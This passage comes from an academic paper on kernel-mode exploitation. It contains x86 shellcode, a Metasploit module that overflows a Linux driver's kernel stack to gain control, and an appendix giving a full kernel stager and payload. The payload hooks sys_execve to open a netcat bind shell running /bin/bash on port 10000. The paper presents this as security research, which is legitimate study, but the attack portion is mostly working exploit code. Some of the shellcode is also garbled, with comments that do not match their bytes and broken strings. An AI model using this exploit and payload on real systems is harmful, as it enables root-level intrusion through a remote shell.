34 * close by, let's try to not overwrite these by
35 * using an offset of 256 (assuming we are on
36 * stack, this might be a good value...)
37 */
38 "\x8b\x44\x24\x08" // mov 0x8(%esp),%eax
39 "\x2d\x00\x01\x00\x00" // sub $0x100,%eax
40 "\x89\x44\x24\x08" // mov %eax,0x8(%esp)
41 "\x83\xc0\x28" // add $0x28,%eax
42 "\x89\x44\x24\x04" // mov %eax,0x4(%esp)
43
44 /**
45 * now construct the param arrays at the chosen
46 * location...
47 *

```

```

48 * NOTE: regs.ecx is stored in a register right at
49 * function enter, so we need to subtrace 0x100
50 * again (although the value on stack is already
51 * correct)
52 */
53 /*
54 unsigned char *c = (unsigned char*)regs.ecx - 0x100;
55 p = (unsigned int*)c;
56 p[0] = (unsigned int)c + 40; // argv[0]
57 p[1] = (unsigned int)c + 48; // argv[1]
58 p[2] = (unsigned int)c + 51; // argv[2]
59 p[3] = (unsigned int)c + 54; // argv[3]
60 p[4] = (unsigned int)c + 60; // argv[4]
61 p[5] = (unsigned int)c + 63; // argv[5]
62 p[6] = (unsigned int)0; // argv[6]... end of array mark
63 c += 40;
64 unsigned char *from = 0xc3000008;
65 unsigned char *to = from + 33;
66 while (from != to)
67 {
68 *c = *from;
69 from++;
70 c++;
71 }
72 */
73 "\x8d\x81\x28\xff\xff\xff" // lea 0xffffffff(%ecx),%eax
74 "\x8d\x91\x00\xff\xff\xff" // lea 0xffffffff(%ecx),%edx
75 "\x89\x81\x00\xff\xff\xff" // mov %eax,0xffffffff(%ecx)
76 "\x8d\x81\x30\xff\xff\xff" // lea 0xffffffff30(%ecx),%eax
77 "\x89\x42\x04" // mov %eax,0x4(%edx)
78 "\x8d\x81\x33\xff\xff\xff" // lea 0xffffffff33(%ecx),%eax
79 "\x89\x42\x08" // mov %eax,0x8(%edx)
80 "\x8d\x81\x36\xff\xff\xff" // lea 0xffffffff36(%ecx),%eax
81 "\x89\x42\x0c" // mov %eax,0xc(%edx)
82 "\x8d\x81\x3c\xff\xff\xff" // lea 0xffffffff3c(%ecx),%eax
83 "\x89\x42\x10" // mov %eax,0x10(%edx)
84 "\x8d\x81\x3f\xff\xff\xff" // lea 0xffffffff3f(%ecx),%eax
85 "\x89\x42\x14" // mov %eax,0x14(%edx)
86 "\xc7\x42\x18\x00\x00\x00" // movl $0xc0000008,%edx
87 "\xba\x08\x00\x00\x00" // mov $0xc0000008,%edx
88 "\x0f\xb6\x02" // movzbl (%edx),%eax
89 "\x88\x84\x0a\x20\xff\xff\x3c" // mov %al,0xc0ffff20(%edx,%ecx,1)
90 "\x83\xc2\x01" // add $0x1,%edx
91 "\x81\xfa\x29\x00\x00\x00" // cmp $0xc0000029,%edx
92 "\x75\xeb" // jne 70 <bar>0x70>
93
94 /**
95 * Now jump to the real sys_execve
96 */
97 "\xb8\x41\x41\x41\x41" // mov AAAA,%eax << address substituted!!
98 "\x89\xc2" // mov %eax,%edx
99 "\xff\xe2" // jmp *%edx

```

3.3.5 Putting it all together

Without much further ado, here is a Metasploit module that illustrates our exploit.

```

1  require 'msf/core'
2
3  module Msf
4
5  class Exploits::Linux::Driver::VulnDriver_Linux < Msf::Exploit::Remote
6
7  include Exploit::Remote::Tcp
8
9  def initialize(info = {})
10 super(update_info(info,
11 'Name' => ... ,
12 'Description' => ... ,
13 'Author' => ... ,
14 'License' => MSF_LICENSE,
15 'Version' => ... ,
16 'References' => ... ,
17 'Privileged' => "true",
18 'Platform' => 'linux',
19 'Arch' => ARCH_X86,
20 'Targets' =>
21 [
22 # Debian (Kubuntu) Linux 2.6.17 LiveCD
23 [
24 'Debian (Kubuntu) Linux 2.6.17 LiveCD',
25 {
26 # Not really reliable, check before using this address!!
27 'Ret' => 0xc121154f # jmp esp (in kernel space)
28 }
29 ]
30 ],
31
32 'DefaultTarget' => 0
33 )
34 )
35
36 register_options( [ ], self.class)
37 end
38
39 def exploit
40 connect
41 sock.put(create_packet)
42 handler

```

```

43     disconnect
44 end
45
46 def create_packet
47   # fill up the buffer
48   buf = rand_text(540)
49
50   # We need a good esp (somewhere read/writeable for kernel space)
51   # as we will crash right away!!
52   buf += [ 0xcf000000 ].pack('V') # saved stack frame
53
54   # Return address is a jmp ESP
55   buf += [ target.ret ].pack('V') # return address
56
57   # add padding to overwrite the parameters to our vulnerable
58   # function on the stack.
59   # NOTE: different than in windows, linux
60   # kernel functions often use registers to
61   # pass function arguments rather than the
62   # stack!!
63   buf += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
64
65   # append payload
66   buf += payload.raw
67
68   buf
69 end
70 end
71 end

```

This exploit looks very similar to the Windows exploit presented in chapter 2. The most glaring difference is that it cannot be used with just any payload, because there is no kernel-mode wrapper yet. For this reason, we added a payload to the framework, that implements the exploit described in this section (i.e. the stager and the *sys_execve* stage). We have included the entire Metasploit payload in section A.

4 Conclusion

Kernel-mode exploits have begun to increasingly garner interest by security experts. Thanks to a lot of theoretical groundwork, the Metasploit project now includes a framework for kernel-mode exploits, that encapsulate regular user-mode exploits. With this paper, we hope to have demonstrated how effective and easy the process of writing Windows kernel-mode exploits has already become. While there is also a considerable amount of documented experience with kernel-mode exploits on Linux publicly available, automated support for exploits in Metasploit is not as far advanced.

Acknowledgments

We would like to thank SEC Consult Unternehmensberatung GmbH and especially Bernhard Müller for their initiative and support for this project. Furthermore, we greatly appreciated the valuable feedback and guidance of Engin Kirda and Christopher Kruegel at the Technical University Vienna.

5 References

References

- [1] Daniel P. Bovet, and Marco Cesati, *Understanding the Linux Kernel*, 3rd ed., O'Reilly, Sebastopol, CA, 2005.
- [2] bugcheck, and skape, "windows kernel-mode payload fundamentals", <http://www.uninformed.org/?v=3&a=4&t=txt>.
- [3] Johnny Cache, H.D. More, and skape "exploiting 802.11 wireless driver vulnerabilities on windows", <http://uninformed.org/index.cgi?v=6&a=2&t=txt>.
- [4] Immunity CANVAS Professional <http://www.immunitysec.com/products-canvas.shtml>
- [5] Matt Conover, *Malware Profiling and Rootkit Detection on Windows*, http://xcon.xfocus.org/xcon2005/archives/2005/Xcon2005_Shok.pdf.
- [6] Core Security Technologies' Core Impact <http://http://www.coresecurity.com/>
- [7] Jonathan Corbet, Alessandro Rubini, and Greg Kroah-Hartman; *Linux Device Drivers*, 3rd ed., O'Reilly, Sebastopol, CA, 2005.
- [8] eEye Digital Security, *Remote Windows Kernel Exploitation: Step into the Ring 0*, <http://www.eeye.com/data/publish/whitepapers/research/OT20050205.FILE.pdf>.
- [9] Sinan "noir" Eren, "Smashing The Kernel Stack For Fun And Profit", <http://www.phrack.org/archives/60/p60-0x06.txt>.
- [10] Sylvester Keil, and Clemens Kolbitsch, "Stateful Fuzzing of Wireless Device Drivers in an Emulated Environment", <http://www.seclab.tuwien.ac.at>.
- [11] David Maynor, "os x kernel-mode exploitation in a weekend", <http://uninformed.org/?v=8&a=4&t=sumry>.
- [12] The Metasploit Project <http://www.metasploit.com/>
- [13] SecurityForest's Exploitation Framework <http://securityforest.com/wiki/index.php/Exploitation.Framework>
- [14] sd, and devik, "Linux on-the-fly kernel patching without LKM", <http://www.phrack.org/archives/58/p58-0x07>.
- [15] sgrakkyu, and twiz, "Attacking the Core: Kernel Exploiting Notes", <http://www.phrack.org/issues.html?issue=64&id=6#article>.
- [16] "The Microsoft Windows Kernel-Mode Driver Framework" <http://www.microsoft.com/whdc/driver/wdf/KMDF.mspix>.

Appendix

A Linux kernel-mode stager and payload for Metasploit

```
1 ##
2 # This file is part of the Metasploit Framework and may be subject to
3 # redistribution and commercial restrictions. Please see the Metasploit
4 # Framework web site for more information on licensing and terms of use.
5 # http://metasploit.com/projects/Framework/
6 ##
7
8 require 'msf/core'
9
10 module Msf
11 module Payloads
12 module Singles
13 module Linux
14 module X86
15
16 ###
17 #
18 # Stager and payload
19 # ----
20 #
21 # Makes a linux system-call hook to
22 # a payload that executes
23 #
24 # /bin/nc -l -p 10000 -e /bin/bash
25 #
26 # instead of the next call to sys_execve.
27 # Afterwards the system-call is restored
28 # to its original address.
29 #
30 ###
31 module Linux_stager_and_payload
32
33 include Msf::Payload::Single
34
35 def initialize(info = {})
36   super(update_info(info,
37     'Name' => 'Linux Kernel System Call Hook',
38     'Version' => '$Revision: 1 $',
39     'Description' => 'Execute reverse shell in kernel mode',
40     'Author' =>
41       [
42         'Sylvester Keil',
43         'Clemens Kolbitsch'
44       ],
45     'License' => MSF_LICENSE,
46     'Platform' => 'linux',
47     'Arch' => ARCH_X86
48   ))
49
50 # Register qemu/real-cpu option
51 register_options(
52 [
53   OptString.new('CPU', [ false, "Real|Emulated ... In an emulated
54     environment, dynamic syscall-table finding is not supported
55     " ])
56 ], Msf::Payloads::Singles::Linux::X86::Linux_stager_and_payload)
57
58 def generate
59 # execve replacement that executes netcat
60 # and then restores the original sys_execve
61 execve_payload =
62 # "/bin/nc -l -p 10000 -e /bin/bash"
63 "\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68" +
64 "\x2d\x6c\x00\x2d\x70\x00\x31\x30" +
65 "\x30\x30\x30\x00\x2d\x65\x00\x2f" +
66 "\x62\x69\x6e\x2f\x62\x61\x73\x68" +
67 "\x00" +
68
69 # restore syscall hook
70 "\x8b\x15\x04\x00\x00\x3c\x8b\x4c\x24\x08" +
71 "\x89\x10" +
72
73 # setup new argv
74 "\x8b\x44\x24\x08\x2d\x00" +
75 "\x01\x00\x00\x89\x44\x24\x08\x83" +
76 "\xc0\x28\x89\x44\x24\x04" +
77
78 # start... load-effective-address...
79 "\x8d\x81" +
80 "\x28\xff\xff\xff\x8d\x91\x00\xff" +
81 "\xff\xff\x89\x81\x00\xff\xff" +
82 "\x8d\x81\x30\xff\xff\xff\x89\x42" +
83 "\x04\x8d\x81\x33\xff\xff\xff" +
84 "\x42\x08\x8d\x81\x36\xff\xff" +
85 "\x89\x42\x0c\x8d\x81\x3c\xff\xff" +
86 "\xff\x89\x42\x10\x8d\x81\x3f\xff" +
87 "\xff\xff\x89\x42\x14\xc7\x42\x18" +
88 "\x00\x00\x00\x00\xba\x08\x00\x00" +
89 "\xc3\x0f\xbb\x02\x88\x84\x0a\x20" +
90 "\xff\xff\x3c\x83\xc2\x01\x81\xfa" +
91 "\x29\x00\x00\xc3\x75\xeb\x88\x41" +
92 "\x41\x41\x41\x89\xc2\xff\xe2"
```

```
93
94
95 # this stager places the payload at some address
96 # and installs a sys_execve hook to the payload
97 #
98 # the second line is updated later, since the jump
99 # depends on the type of syscall-table lookup (as
100 # the stager has different lengths then)
101 stager_part_1 =
102 "\x83\xc3" + # sub $0x34,%esp
103 "\xe9\x41\x41\x41" # jmp 44c <stager+0x34d>
104
105 # static setup of sys_call hook & payload location
106 static_table_lookup =
107 "\xc7\x44\x24\xe0\xa4\xe0" + # movl $0xc02ea4e0,0x24(%esp)
108 "\xc7\x44\x24\x10\x00\x00\x00" + # movl $0xc3000000,0x10(%esp)
109
110 # dynamic setup of sys_call hook & payload location
111 dynamic_table_lookup =
112 "\x0f\x01\x4c\x24\x02" + # sidtl 0x2(%esp)
113
114 # find pos of int 0x33 (start address of payload)
115 "\x8b\x44\x24\x04" + # mov 0x4(%esp),%eax
116 "\x05\x98\x01\x00\x00" + # add $0x198,%eax
117 "\x89\x44\x24\x28" + # mov %eax,0x28(%esp)
118 "\x8b\x44\x24\x28" + # mov 0x28(%esp),%eax
119 "\x0f\xb7\x40\x06" + # movzwl 0x6(%eax),%eax
120 "\x0f\xb7\x00" + # movzwl %eax,%eax
121 "\x89\xc2" + # mov %eax,%edx
122 "\xc1\xe2\x10" + # shl $0x10,%edx
123 "\x8b\x44\x24\x28" + # mov 0x28(%esp),%eax
124 "\x0f\xb7\x00" + # movzwl (%eax),%eax
125 "\x0f\xb7\x00" + # movzwl %eax,%eax
126 "\x09\xd0" + # or %edx,%eax
127 "\x89\x44\x24\x10" + # mov %eax,0x10(%esp)
128
129 # find pos of int 0x80 (install hook)
130 "\x8b\x44\x24\x04" + # mov 0x4(%esp),%eax
131 "\x05\x00\x04\x00\x00" + # add $0x400,%eax
132 "\x89\x44\x24\x28" + # mov %eax,0x28(%esp)
133 "\x8b\x44\x24\x28" + # mov 0x28(%esp),%eax
134 "\x0f\xb7\x40\x06" + # movzwl 0x6(%eax),%eax
135 "\x0f\xb7\x00" + # movzwl %eax,%eax
136 "\x89\xc2" + # mov %eax,%edx
137 "\xc1\xe2\x10" + # shl $0x10,%edx
138 "\x8b\x44\x24\x28" + # mov 0x28(%esp),%eax
139 "\x0f\xb7\x00" + # movzwl (%eax),%eax
140 "\x0f\xb7\x00" + # movzwl %eax,%eax
141 "\x09\xd0" + # or %edx,%eax
142 "\x89\x44\x24\x2c" + # mov %eax,0x2c(%esp)
143 "\xc7\x44\x24\x00\x00\x00" + # movl $0x0,0x24(%esp)
144 "\x8b\x44\x24\x2c" + # mov 0x2c(%esp),%eax
145 "\x89\x44\x24\x30" + # mov %eax,0x30(%esp)
146 "\xc7\x44\x24\x14\x00\x00\x00" + # movl $0x0,0x14(%esp)
147 "\xeb\x29" + # jmp 17c <stager+0x7d>
148 "\x83\x44\x24\x30\x01" + # addl $0x1,0x30(%esp)
149 "\x8b\x44\x24\x30" + # mov 0x30(%esp),%eax
150 "\x8b\x00" + # mov (%eax),%eax
151 "\xc1\xe0\x08" + # shl $0x8,%eax
152 "\x3d\x00\xff\x14\x85" + # cmp $0x8514ff00,%eax
153 "\x75\x0f" + # jne 177 <stager+0x78>
154 "\x8b\x44\x24\x30" + # mov 0x30(%esp),%eax
155 "\x83\xc0\x03" + # add $0x3,%eax
156 "\x8b\x00" + # mov (%eax),%eax
157 "\x89\x44\x24\x24" + # mov %eax,0x24(%esp)
158 "\xeb\x0c" + # jmp 183 <stager+0x84>
159 "\x83\x44\x24\x14\x01" + # addl $0x1,0x14(%esp)
160 "\x83\x7c\x24\x14\x63" + # cmpl $0x63,0x14(%esp)
161 "\x76\xd0" + # jbe 153 <stager+0x54>
162 "\x83\x7c\x24\x24\x00" + # cmpl $0x0,0x24(%esp)
163 "\x75\x07" + # jne 191 <stager+0x92>
164 "\xb8\x11\x00\x00\x00" + # mov $0x11,%eax
165 "\xff\xe0" # jmp *%eax
166
167 # this part copies the payload somewhere
168 stager_part_2 =
169 "\x8b\x44\x24\x24" + # mov \x0x24(%esp),%eax
170 "\x83\xc0\x2c" + # add $0x2c,%eax
171 "\x89\xc2" + # mov %eax,%edx
172 "\x8b\x44\x24\x10" + # mov \x0x10(%esp),%eax
173 "\x89\x10" + # mov %edx,(%eax)
174 "\x8b\x54\x24\x10" + # mov \x0x10(%esp),%edx
175 "\x83\xc2\x04" + # add $0x4,%edx
176 "\x8b\x44\x24\x24" + # mov \x0x24(%esp),%eax
177 "\x83\xc0\x2c" + # add $0x2c,%eax
178 "\x8b\x00" + # mov (%eax),%eax
179 "\x89\x02" + # mov %eax,(%edx)
180 "\x8b\x44\x24\x10" + # mov \x0x10(%esp),%eax
181 "\x83\xc0\x08" + # add $0x8,%eax
182 "\x89\x44\x24\x18" + # mov %eax,0x18(%esp)
183 "\xc7\x44\x24\x14\x00\x00\x00" + # movl $0x0,0x14(%esp)
184 "\xeb\x1c" + # jmp \x219 <stager+0x11a>
185 "\x8b\x44\x24\x14" + # mov \x0x14(%esp),%eax
186 "\x89\xc2" + # mov %eax,%edx
187 "\x03\x54\x24\x18" + # add \x0x18(%esp),%edx
188 "\x8b\x44\x24\x14" + # mov \x0x14(%esp),%eax
189 "\x03\x44\x24\x20" + # add \x0x20(%esp),%eax
190 "\x0f\xb6\x00" + # movzbl (%eax),%eax
191 "\x88\x02" + # mov %al,(%edx)
192 "\x83\x44\x24\x14\x01" + # addl $0x1,0x14(%esp)
193 "\x81\x7c\x24\x14\xff\x00\x00" + # cmpl $0xff,0x14(%esp)
194 "\x76\xda" + # jbe \x1fd <stager+0xfe>
195 "\x8b\x44\x24\x10" + # mov \x0x10(%esp),%eax
196 "\x83\xc0\x04" + # add $0x4,%eax
197 "\x89\x44\x24\x1c" + # mov %eax,0x1c(%esp)
```

```

199 "\x8b\x54\x24\x18" + # mov \x0x18(%esp),%edx
200 "\x81\xc2\xa7\x00\x00\x00" + # add $0xa7,%edx
201 "\x8b\x44\x24\x1c" + # mov \x0x1c(%esp),%eax
202 "\x0f\xb6\x00" + # movzbl(%eax),%eax
203 "\x88\x02" + # mov %al,(%edx)
204 "\x8b\x54\x24\x18" + # mov \x0x18(%esp),%edx
205 "\x81\xc2\xa8\x00\x00\x00" + # add $0xa8,%edx
206 "\x8b\x44\x24\x1c" + # mov \x0x1c(%esp),%eax
207 "\x83\xc0\x01" + # add $0x1,%eax
208 "\x0f\xb6\x00" + # movzbl(%eax),%eax
209 "\x88\x02" + # mov %al,(%edx)
210 "\x8b\x54\x24\x18" + # mov \x0x18(%esp),%edx
211 "\x81\xc2\xa9\x00\x00\x00" + # add $0xa9,%edx
212 "\x8b\x44\x24\x1c" + # mov \x0x1c(%esp),%eax
213 "\x83\xc0\x01" + # add $0x2,%eax
214 "\x0f\xb6\x00" + # movzbl(%eax),%eax
215 "\x88\x02" + # mov %al,(%edx)
216 "\x8b\x54\x24\x18" + # mov \x0x18(%esp),%edx
217 "\x81\xc2\xaa\x00\x00\x00" + # add $0xaa,%edx
218 "\x8b\x44\x24\x1c" + # mov \x0x1c(%esp),%eax
219 "\x83\xc0\x01" + # add $0x3,%eax
220 "\x0f\xb6\x00" + # movzbl(%eax),%eax
221 "\x88\x02" + # mov %al,(%edx)
222 "\x8b\x44\x24\x10" + # mov \x0x10(%esp),%eax
223 "\x89\x44\x24\x08" + # mov %eax,0x8(%esp)
224 "\x8d\x44\x24\x08" + # lea \x0x8(%esp),%eax
225 "\x89\x44\x24\x1c" + # mov %eax,0x1c(%esp)
226 "\x8b\x54\x24\x18" + # mov \x0x18(%esp),%edx
227 "\x83\xc2\x28" + # add $0x28,%edx
228 "\x8b\x44\x24\x1c" + # mov \x0x1c(%esp),%eax
229 "\x0f\xb6\x00" + # movzbl(%eax),%eax
230 "\x88\x02" + # mov %al,(%edx)
231 "\x8b\x54\x24\x18" + # mov \x0x18(%esp),%edx
232 "\x83\xc2\x29" + # add $0x29,%edx
233 "\x8b\x44\x24\x1c" + # mov \x0x1c(%esp),%eax
234 "\x83\xc0\x01" + # add $0x1,%eax
235 "\x0f\xb6\x00" + # movzbl(%eax),%eax
236 "\x88\x02" + # mov %al,(%edx)
237 "\x8b\x54\x24\x18" + # mov \x0x18(%esp),%edx
238 "\x83\xc2\x2a" + # add $0x2a,%edx
239 "\x8b\x44\x24\x1c" + # mov \x0x1c(%esp),%eax
240 "\x83\xc0\x02" + # add $0x2,%eax
241 "\x0f\xb6\x00" + # movzbl(%eax),%eax
242 "\x88\x02" + # mov %al,(%edx)
243 "\x8b\x54\x24\x18" + # mov \x0x18(%esp),%edx
244 "\x83\xc2\x2b" + # add $0x2b,%edx
245 "\x8b\x44\x24\x1c" + # mov \x0x1c(%esp),%eax
246 "\x83\xc0\x03" + # add $0x3,%eax
247 "\x0f\xb6\x00" + # movzbl(%eax),%eax
248 "\x88\x02" + # mov %al,(%edx)
249 "\x8b\x44\x24\x08" + # mov \x0x08(%esp),%eax
250 "\x83\xc0\x04" + # add $0x4,%eax
251 "\x89\x44\x24\x08" + # mov %eax,0x8(%esp)
252 "\x8b\x54\x24\x18" + # mov \x0x18(%esp),%edx
253 "\x83\xc2\x23" + # add $0x23,%edx
254 "\x8b\x44\x24\x1c" + # mov \x0x1c(%esp),%eax
255 "\x0f\xb6\x00" + # movzbl(%eax),%eax
256 "\x88\x02" + # mov %al,(%edx)
257 "\x8b\x54\x24\x18" + # mov \x0x18(%esp),%edx
258 "\x83\xc2\x24" + # add $0x24,%edx
259 "\x8b\x44\x24\x1c" + # mov \x0x1c(%esp),%eax
260 "\x83\xc0\x01" + # add $0x1,%eax
261 "\x0f\xb6\x00" + # movzbl(%eax),%eax
262 "\x88\x02" + # mov %al,(%edx)
263 "\x8b\x54\x24\x18" + # mov \x0x18(%esp),%edx
264 "\x83\xc2\x25" + # add $0x25,%edx
265 "\x8b\x44\x24\x1c" + # mov \x0x1c(%esp),%eax
266 "\x83\xc0\x02" + # add $0x2,%eax
267 "\x0f\xb6\x00" + # movzbl(%eax),%eax
268 "\x88\x02" + # mov %al,(%edx)
269 "\x8b\x54\x24\x18" + # mov \x0x18(%esp),%edx
270 "\x83\xc2\x26" + # add $0x26,%edx
271 "\x8b\x44\x24\x1c" + # mov \x0x1c(%esp),%eax
272 "\x83\xc0\x03" + # add $0x3,%eax
273 "\x0f\xb6\x00" + # movzbl(%eax),%eax
274 "\x88\x02" + # mov %al,(%edx)
275 "\x8b\x44\x24\x08" + # mov \x0x08(%esp),%eax
276 "\x83\xc0\x04" + # add $0x4,%eax
277 "\x89\x44\x24\x08" + # mov %eax,0x8(%esp)
278 "\x8b\x54\x24\x18" + # mov \x0x18(%esp),%edx
279 "\x81\xc2\x8d\x00\x00\x00" + # add $0x8d,%edx
280 "\x8b\x44\x24\x1c" + # mov \x0x1c(%esp),%eax
281 "\x0f\xb6\x00" + # movzbl(%eax),%eax
282 "\x88\x02" + # mov %al,(%edx)
283 "\x8b\x54\x24\x18" + # mov \x0x18(%esp),%edx
284 "\x81\xc2\x8e\x00\x00\x00" + # add $0x8e,%edx
285 "\x8b\x44\x24\x1c" + # mov \x0x1c(%esp),%eax
286 "\x83\xc0\x01" + # add $0x1,%eax
287 "\x0f\xb6\x00" + # movzbl(%eax),%eax
288 "\x88\x02" + # mov %al,(%edx)
289 "\x8b\x54\x24\x18" + # mov \x0x18(%esp),%edx
290 "\x81\xc2\x8f\x00\x00\x00" + # add $0x8f,%edx
291 "\x8b\x44\x24\x1c" + # mov \x0x1c(%esp),%eax
292 "\x83\xc0\x02" + # add $0x2,%eax
293 "\x0f\xb6\x00" + # movzbl(%eax),%eax
294 "\x88\x02" + # mov %al,(%edx)
295 "\x8b\x54\x24\x18" + # mov \x0x18(%esp),%edx
296 "\x81\xc2\x90\x00\x00\x00" + # add $0x90,%edx
297 "\x8b\x44\x24\x1c" + # mov \x0x1c(%esp),%eax
298 "\x83\xc0\x03" + # add $0x3,%eax
299 "\x0f\xb6\x00" + # movzbl(%eax),%eax
300 "\x88\x02" + # mov %al,(%edx)
301 "\x8b\x44\x24\x08" + # mov \x0x08(%esp),%eax
302 "\x83\xc0\x21" + # add $0x21,%eax
303 "\x89\x44\x24\x08" + # mov %eax,0x8(%esp)
304 "\x8b\x54\x24\x18" + # mov \x0x18(%esp),%edx
305 "\x81\xc2\xa0\x00\x00\x00" + # add $0xa0,%edx
306 "\x8b\x44\x24\x1c" + # mov \x0f\xb6\x00" + # movzbl(%eax),%eax
307 "\x88\x02" + # mov %al,(%edx)
308 "\x8b\x54\x24\x18" + # mov \x0x18(%esp),%edx
309 "\x81\xc2\xa1\x00\x00\x00" + # add $0xa1,%edx
310 "\x8b\x44\x24\x1c" + # mov \x0x1c(%esp),%eax
311 "\x83\xc0\x01" + # add $0x1,%eax
312 "\x0f\xb6\x00" + # movzbl(%eax),%eax
313 "\x88\x02" + # mov %al,(%edx)
314 "\x8b\x54\x24\x18" + # mov \x0x18(%esp),%edx
315 "\x81\xc2\xa2\x00\x00\x00" + # add $0xa2,%edx
316 "\x8b\x44\x24\x1c" + # mov \x0x1c(%esp),%eax
317 "\x83\xc0\x02" + # add $0x2,%eax
318 "\x0f\xb6\x00" + # movzbl(%eax),%eax
319 "\x88\x02" + # mov %al,(%edx)
320 "\x8b\x54\x24\x18" + # mov \x0x18(%esp),%edx
321 "\x81\xc2\xa3\x00\x00\x00" + # add $0xa3,%edx
322 "\x8b\x44\x24\x1c" + # mov \x0x1c(%esp),%eax
323 "\x83\xc0\x03" + # add $0x3,%eax
324 "\x0f\xb6\x00" + # movzbl(%eax),%eax
325 "\x88\x02" + # mov %al,(%edx)
326 "\x8b\x44\x24\x08" + # mov \x0x08(%esp),%eax
327 "\x05\xb6\x00\x00\x00" + # add $xf7\xd0" + # not %eax
328 "\xf7\xd0" + # mov %eax,0x8(%esp)
329 "\x89\x44\x24\x08" + # mov \x0x08(%esp),%eax
330 "\x8b\x54\x24\x18" + # mov \x0x18(%esp),%edx
331 "\x81\xc2\x97\x00\x00\x00" + # add $0x97,%edx
332 "\x8b\x44\x24\x1c" + # mov \x0x1c(%esp),%eax
333 "\x0f\xb6\x00" + # movzbl(%eax),%eax
334 "\x88\x02" + # mov %al,(%edx)
335 "\x8b\x54\x24\x18" + # mov \x0x18(%esp),%edx
336 "\x81\xc2\x98\x00\x00\x00" + # add $0x98,%edx
337 "\x8b\x44\x24\x1c" + # mov \x0x1c(%esp),%eax
338 "\x83\xc0\x01" + # add $0x1,%eax
339 "\x0f\xb6\x00" + # movzbl(%eax),%eax
340 "\x88\x02" + # mov %al,(%edx)
341 "\x8b\x54\x24\x18" + # mov \x0x18(%esp),%edx
342 "\x81\xc2\x99\x00\x00\x00" + # add $0x99,%edx
343 "\x8b\x44\x24\x1c" + # mov \x0x1c(%esp),%eax
344 "\x83\xc0\x02" + # add $0x2,%eax
345 "\x0f\xb6\x00" + # movzbl(%eax),%eax
346 "\x88\x02" + # mov %al,(%edx)
347 "\x8b\x54\x24\x18" + # mov \x0x18(%esp),%edx
348 "\x81\xc2\x9a\x00\x00\x00" + # add $0x9a,%edx
349 "\x8b\x44\x24\x1c" + # mov \x0x1c(%esp),%eax
350 "\x83\xc0\x03" + # add $0x3,%eax
351 "\x0f\xb6\x00" + # movzbl(%eax),%eax
352 "\x88\x02" + # mov %al,(%edx)
353 # install hook
354 "\x8b\x44\x24\x10" + # mov \x0x10(%esp),%eax
355 "\x8b\x00" + # mov (%eax),%eax
356 "\x89\x44\x24\x0c" + # mov %eax,0xc(%esp)
357 "\x8b\x44\x24\x10" + # mov \x0x10(%esp),%eax
358 "\x8d\x50\x29" + # lea \x0x29(%eax),%edx
359 "\x8b\x44\x24\x0c" + # mov \x0xc(%esp),%eax
360 "\x8b\x44\x24\x0c" + # mov \x0xc(%esp),%eax
361 "\x89\x10" + # mov %edx,(%eax)
362
363 stager_part_3 =
364 "\xe8\x00\x00\x00\x00" + # call 451 <stager_mark>
365 # mark
366 "\x58" + # pop %eax
367 "\x89\xc2" + # mov %eax,%edx
368 "\x89\x44\x24\x20" + # mov %edx,0x20(%esp)
369 "\x83\x44\x24\x11" + # addl $0x11,0x20(%esp)
370 "\xe9\xa5\xfc\xff\xff" + # jmp 107 <stager+0x8>
371
372 recovery =
373 "\xb8\x12\x00\x00\x00" + # mov $0x12,%eax
374 "\xff\xe0" + # jmp *%eax
375
376 payload = stager_part_1
377
378 if ((datastore['CPU'].to_s.downcase <= "real") == 0)
379 payload += dynamic_table_lookup
380 elsif ((datastore['CPU'].to_s.downcase <= "emulated") == 0)
381 payload += static_table_lookup
382 else
383 print "WARNING: Undefined CPU type was selected. Defaulting to 'Emulated'\n\n";
384 payload += static_table_lookup
385 end
386
387 # we place the recovery right after
388 # part 2 so we don't need to jump
389 # over part 3 once we're done copying...
390 payload += stager_part_2 + recovery
391
392 # fill in correct jump length
393 payload[4,4] = [ payload.length - stager_part_1.length ].pack('V');
394
395 # fill in jump-back length
396 #
397 # this is the payload at the end
398 # of stager_part_1 (this includes
399 # stager_part_3 without the last
400 # 5 bytes. the 4 bytes must always
401 # be subtracted when jumping back
402 # with \xe9)
403 stager_part_3[stager_part_3.length - 4, 4] = [ 0xffffffff - 4 - (
404 stager_part_3.length - 5) - (payload.length - stager_part_1.
405 length) ].pack('V')
406
407 payload += stager_part_3 + execve_payload

```



```
408     end
409   end
410
411   end
412   end
413   end
414   end
415   end
```

B Exploit Frameworks

An exploit framework is a set of tools that supports the programmer in repetitive jobs such developing payload code to be executed and sending it to a target machine. Typically, these frameworks even support writing and categorizing exploit code in a higher-level language and give the opportunity to store and search for already existing exploits and their field of action (i.e. on what type of target system they work, etc.).

Today, many different exploit frameworks exist, with many of them being free for download from the internet. Whereas almost all of them share a common set of features, we will discuss their main differences, their advantages and disadvantages, in the following sections.

B.1 The Metasploit Framework

The Metasploit Project[12] is an open source project that includes an exploit framework and is freely available for Windows and Unix systems. It consists of different elements, such as

- an exploit database to categorize and store exploit code,
- a payload database to store payloads for different systems (e.g. Windows, Unix, Mac, etc.) and system-modes (kernel versus. user-mode),
- a web-interface to easily search for exploits and payloads in the system and
- various programs to combine exploit and payload code and directly attack a given machine.

As Metasploit is mostly written in Ruby (with additional modules written in C and assembler), programmers can easily extend Metasploit with their own exploit or payload code that can then be used with other existing parts of the framework to form new attacks.

Metasploit is made up of multiple applications, each very handy for different requirements:

Console interface. The main console interface can be used for looking up available modules like exploit- and payload-code and setting up and launching attacks against other computer systems. The text-based interface is very userfriendly and supports the user with various functions like tab-completion and direct environment calls (i.e. manipulating the filesystem without leaving the Metasploit console). For a detailed description of available commands and further information, please refer to the user-guide included in the Metasploit download.

Command-line interface. Similar to the console interface, a command-line interface is available for automated use of the framework. This interface takes the actions to be executed inside Metasploit as parameter, executes the given tasks and exits afterwards. This is especially handy for repetitive tasks like attacking a wide range of systems or launching different types of attacks on possibly multiple target hosts.

Web interface. Metasploit contains a small webserver. This tool is very useful for searching the database for available exploits and payloads. Furthermore, it provides a very easy-to-use possibility for launching an attack by simply clicking through some web-dialogs, selecting the desired type of exploit and payload, providing a target host address and clicking on an *attack* button that will open a remote shell once the attack was successfully completed.

GUI interface. Similar to the web interface, Metasploit offers a graphical interface to search for and launch exploits.

B.1.1 Attacking a Host via Metasploit

As mentioned in the previous section, Metasploit offers various ways to launch an attack against a target machine. Since the console interface is probably the fastest and most precise way though, we will take a closer look at how a simple attack can be launched in this interface. For more detailed instructions, again refer to the Metasploit user-guide.

